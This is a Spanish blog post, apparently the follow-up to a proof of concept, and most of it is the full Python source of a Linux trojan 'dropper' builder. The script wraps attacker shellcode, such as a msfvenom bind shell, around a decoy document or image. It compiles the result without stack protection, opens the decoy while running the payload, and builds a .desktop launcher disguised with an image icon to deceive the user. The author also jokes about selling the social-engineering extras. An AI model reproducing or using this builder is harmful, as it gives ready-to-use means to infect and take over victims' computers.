
En consecuencia, recibimos algunos comentarios que objetaban principalmente dos puntos de nuestra prueba de concepto, ambas aplicables a la distribución Debian con LXDE:

2.- El ícono ejecutable del troyano es una señal inconfundible para un usuario medianamente acostumbrado a usar cualquier distribución de Linux. En consecuencia, sólo "L-users" muy poco acostumbrados a usar Linux caerían en esta trampa.
Ambas objeciones tienen poco que ver con la técnica del "executable dropper" y más con la implementación de estos ataques de forma práctica (i.e. en el campo). Como es usual, estos detalles de campo se dejan por fuera de las pruebas de concepto por distintas razones, pero la principal es para no distraer la atención de la técnica demostrada.

PD: Los elementos adicionales agregados al script anterior para lograr este nivel de ingeniería social se dejan como tarea al lector. Lo siento, "secrets of the trade" ;-).
PD2: Si, "secrets of the trade", pero para estar en linea con los amigos de Offensive Security: "I can be bribed, though".
Actualización: La demanda popular me convenció a publicar el código de este dropper.
Advertencia: El código a continuación podría probablemente usarse de ejemplo para todo lo que *no* debe hacerse al programar. Como siempre, estas cosas son el producto de unos cuantos minutos de ocio que se juntan con un poquito de curiosidad. Aquí hay cualquier cantidad de oportunidad de mejora y hasta para hacerlo que funcione correctamente en casos generales. Pero a falta de tiempo para hacerlo y para no frenar al resto de Internet, aquí esta:
#! /usr/bin/python
import subprocess,sys
def get_host_bytes(f):
res = ""
with open(f, "rb") as f:
byte = f.read(1)
while byte != b"":
# Do stuff with byte.
res += str(ord(byte)) + ","
byte = f.read(1)
return res
def execute_os(cmd):
cmd_array = cmd.split()
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err
return res
if len(sys.argv) < 3:
print "Usage: " + sys.argv[0] + " <.odt|.avi|.jpg|.*> "
sys.exit(0)
flags = "-m32 -z execstack -fno-stack-protector"
if "x64" in sys.argv[2]:
flags = "-m64 -z execstack -fno-stack-protector"
host_name = sys.argv[1]
bs = get_host_bytes(host_name)
se_binary = ".self_extracting_archive"
se_desktop = "Extract.both.files.on" + ".desktop"
#payload_cmd = "msfvenom -p windows/shell_bind_tcp -f c"
payload_cmd = sys.argv[2]
payload = execute_os(payload_cmd)
host_skel = '''#include <stdlib.h>
#include <stdio.h>
%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;
int main(void){
fp = fopen(host_output, "w");
fwrite(host,1,sizeof(host),fp);
fclose(fp);
p = fork();
if (p == 0){
((void (*)()) buf)();
} else {
system("xdg-open /tmp/%s");
}
}
'''
hh = host_skel % (payload,bs,host_name,host_name)
c_code = open("/tmp/x.c","w")
c_code.write(hh)
c_code.close()
# Icon=gnome-mime-image-jpeg for jpg
# TODO if jpeg then else
icon = "gnome-mime-image-jpeg"
dfile_skel = '''[Desktop Entry]
Version=1.0
Type=Application
Name=%s
Exec=bash -c '"$(dirname "$1")"/%s' dummy %%k/t
Icon=%s
'''
dfile_txt = dfile_skel % (host_name,se_binary, icon)
dfile = open(se_desktop,"w")
dfile.write(dfile_txt)
dfile.close()
cmd_array = ["gcc"] + flags.split() + ["-o", ".self_extracting_archive", "/tmp/x.c"]
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err
create_zip = "zip %s.zip %s %s" % (host_name, se_binary, se_desktop)
execute_os(create_zip)
delete_temps = "rm -f /tmp/x.c %s %s" % (se_binary, se_desktop)
execute_os(delete_temps)